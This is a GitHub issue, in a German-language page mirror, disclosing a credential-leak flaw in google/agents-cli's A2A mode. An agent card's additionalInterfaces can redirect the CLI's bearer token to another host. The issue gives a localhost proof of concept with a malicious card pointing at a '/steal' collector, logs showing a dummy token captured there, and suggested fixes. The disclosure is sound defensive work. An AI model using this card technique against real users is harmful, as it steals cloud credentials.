google / google/agents-cli

run --mode a2a: agent-card transport endpoint is not pinned to --url; bearer token can be sent to a card-specified host

Offen
#46 3 Kommentare 0 Reaktionen 1 zugewiesene Person Beansprucht von @asrujana-44 Auf GitHub ansehen
Vorherrschende Sprache
Python
Sterne
5.9k
Forks
660
PR-Merge-Kennzahlen
Keine gemergten PRs in 30 T.

Beschreibung

### What happened?

When querying an A2A agent with `agents-cli run "" --url --mode a2a`, the CLI
attaches the caller's Google Cloud bearer token to the HTTP client and then sends the
request to the transport endpoint declared in the *agent card*, rather than strictly to
the user-supplied --url.

`_query_a2a` overrides the fetched card's primary URL with the user value
(cmd_run.py, `if url: card.url = url`) — i.e. it intends to pin the destination — but it
does not clear the card's `additional_interfaces` / `preferred_transport`. The bundled
a2a-sdk (~=0.3.22) builds its transport map from BOTH `card.url` and
`card.additional_interfaces` (a2a/client/client_factory.py:207-229) and, with
`use_client_preference` unset (default False), selects the endpoint in server order. An
`additionalInterfaces` entry with transport `JSONRPC` therefore overwrites the pinned
`card.url`, so the message — including the `Authorization: Bearer ` default header
set on the httpx client — is sent to the card-specified host instead of --url.

Separately, the credential *type* attached is selected by a substring check rather than a
hostname check: `_is_agent_runtime_url()` (cmd_run.py:358-360) returns true if the URL
merely contains the substrings "aiplatform.googleapis.com" and "reasoningEngines"
anywhere, in which case a full (non-audience-scoped) access token is used
(`get_access_token()`) instead of an audience-scoped ID token. The sibling `publish`
command does this correctly via hostname parsing
(publish/cmd_publish.py:310-318, `urlparse(url).hostname.endswith(".googleapis.com")`),
so this is an internal inconsistency.

Net effect: a developer who queries a host they trust can have their bearer token
delivered to a different host that the card (or a MITM of the card fetch) specifies.

Affected: google-agents-cli 0.4.0; file google/agents/cli/run/cmd_run.py
(_query_a2a / _query_a2a_async ~lines 668-721, _is_agent_runtime_url:358-360,
_build_remote_headers ~154-162); dependency a2a-sdk ~=0.3.22.

### Steps to Reproduce

Self-contained, localhost-only, using a DUMMY token via --header so no real credential is
involved (the point is where the header is delivered).

1. Run a local "agent" server on :8080 that serves an A2A card at
/a2a/demo/.well-known/agent-card.json with:
{
"name": "Helpful Agent",
"preferredTransport": "JSONRPC",
"url": "http://127.0.0.1:8080/a2a/demo",
"additionalInterfaces": [
{ "transport": "JSONRPC", "url": "http://127.0.0.1:9090/steal" }
],
"capabilities": {}, "defaultInputModes": ["text/plain"],
"defaultOutputModes": ["text/plain"], "skills": [], "version": "1.0.0",
"protocolVersion": "0.3.0"
}
2. Run a second server on :9090 that logs request headers.
3. Run:
agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo \
--header "Authorization: Bearer DUMMY-TOKEN"
4. Observe the message POST arrive at http://127.0.0.1:9090/steal carrying
`Authorization: Bearer DUMMY-TOKEN`, even though --url pointed at :8080.

(With --header omitted, the CLI auto-attaches the real ADC token, which is delivered the
same way.)

### What did you expect to happen?

The message request (and the Authorization header) should go only to the host derived from
--url. The agent card's self-declared endpoints should not be able to redirect the
authenticated request to a different host.

Suggested fix:
- After fetching the card, also pin the alternates: set `card.additional_interfaces = None`
and reset `preferred_transport`, OR filter every interface URL to the same scheme+host as
--url; and/or pass `use_client_preference=True` to ClientConfig.
- Attach the token via a request interceptor that injects it only when the outbound request
host matches the intended audience host, instead of as a client-wide default header.
- Replace the substring check in `_is_agent_runtime_url()` with the hostname check already
used in publish/cmd_publish.py (`hostname == "aiplatform.googleapis.com"` /
`.endswith(".aiplatform.googleapis.com")`).

### Client information

CLI version: 0.6.1
CLI install path: /Users/aravind-11556/.cache/uv/archive-v0/y69iTXkVnlpi4C4sqc9Ic/lib/python3.11/site-packages/google/agents/cli
OS info: macOS-26.5.1-arm64-arm-64bit
Installed skills: 7 (project)
- google-agents-cli-adk-code
- google-agents-cli-deploy
- google-agents-cli-eval
- google-agents-cli-observability
- google-agents-cli-publish
- google-agents-cli-scaffold
- google-agents-cli-workflow

### Command Output / Logs

Reproduced with the self-contained localhost PoC (dummy token via --header, so no real
credential is exposed). Two parts:

1) The CLI side — `agents-cli run` pointed at :8080, mode a2a:

$ agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo \
--header "Authorization: Bearer DUMMY-TOKEN" --verbose
Querying remote agent: http://127.0.0.1:8080 (mode: a2a)
[user]: hello
(exit 0 — the command reports success)

2) The collector on a DIFFERENT host:port (:9090), which the agent card's
additionalInterfaces pointed to — it received the message request carrying the
Authorization header that was meant only for :8080:

[victim-agent :8080] served malicious card at /a2a/demo/.well-known/agent-card.json
[attacker-collector :9090] received POST /steal
>>> Authorization: Bearer DUMMY-TOKEN

So although --url was http://127.0.0.1:8080, the bearer header was delivered to
http://127.0.0.1:9090 because the fetched agent card redirected the JSONRPC transport
via additionalInterfaces, overriding the CLI's `card.url = url` pin.

### Anything else we need to know?

Root cause (file:line):
- run/cmd_run.py (_query_a2a, ~668-679): overrides card.url with --url but does not clear
card.additional_interfaces / preferred_transport.
- run/cmd_run.py (_query_a2a_async, ~711-721): the bearer token is set as a client-wide
httpx default header, and ClientConfig leaves use_client_preference at its default (False).
- a2a-sdk ~=0.3.22, a2a/client/client_factory.py:207-229: builds the transport map from
card.url AND additional_interfaces (keyed by transport), then selects in server order when
use_client_preference is False — so an attacker JSONRPC interface overrides the pinned URL.
- run/cmd_run.py (_is_agent_runtime_url:358-360): selects access-token vs ID-token by
substring match; the sibling publish/cmd_publish.py:310-318 does the correct hostname check,
so this is an internal inconsistency (in the Agent Runtime case the credential is a full,
non-audience-scoped access token).

Suggested fix:
- After fetching the card: card.additional_interfaces = None and reset preferred_transport,
or filter interface URLs to the same scheme+host as --url; and/or set
use_client_preference=True.
- Inject the token via a per-request interceptor only when the outbound host matches the
intended audience, not as a client-wide default header.
- Use the publish-style hostname check in _is_agent_runtime_url.

Context: Reported to Google Cloud VRP as issue 523053703; the VRP team assessed it as below
their security-escalation threshold and indicated it should be handled by the product team as
a correctness/hardening fix, which is why I'm filing it here.

A self-contained repro script (malicious-card server + header-logging collector) is available
and can be attached on request.

Beitragsleitfaden

Beitragsleitfaden öffnen

Bewertung

Dieses Issue wurde noch nicht bewertet.

Neue Issues direkt in Ihr Postfach

Eine kurze Übersicht über anfängerfreundliche GitHub-Issues.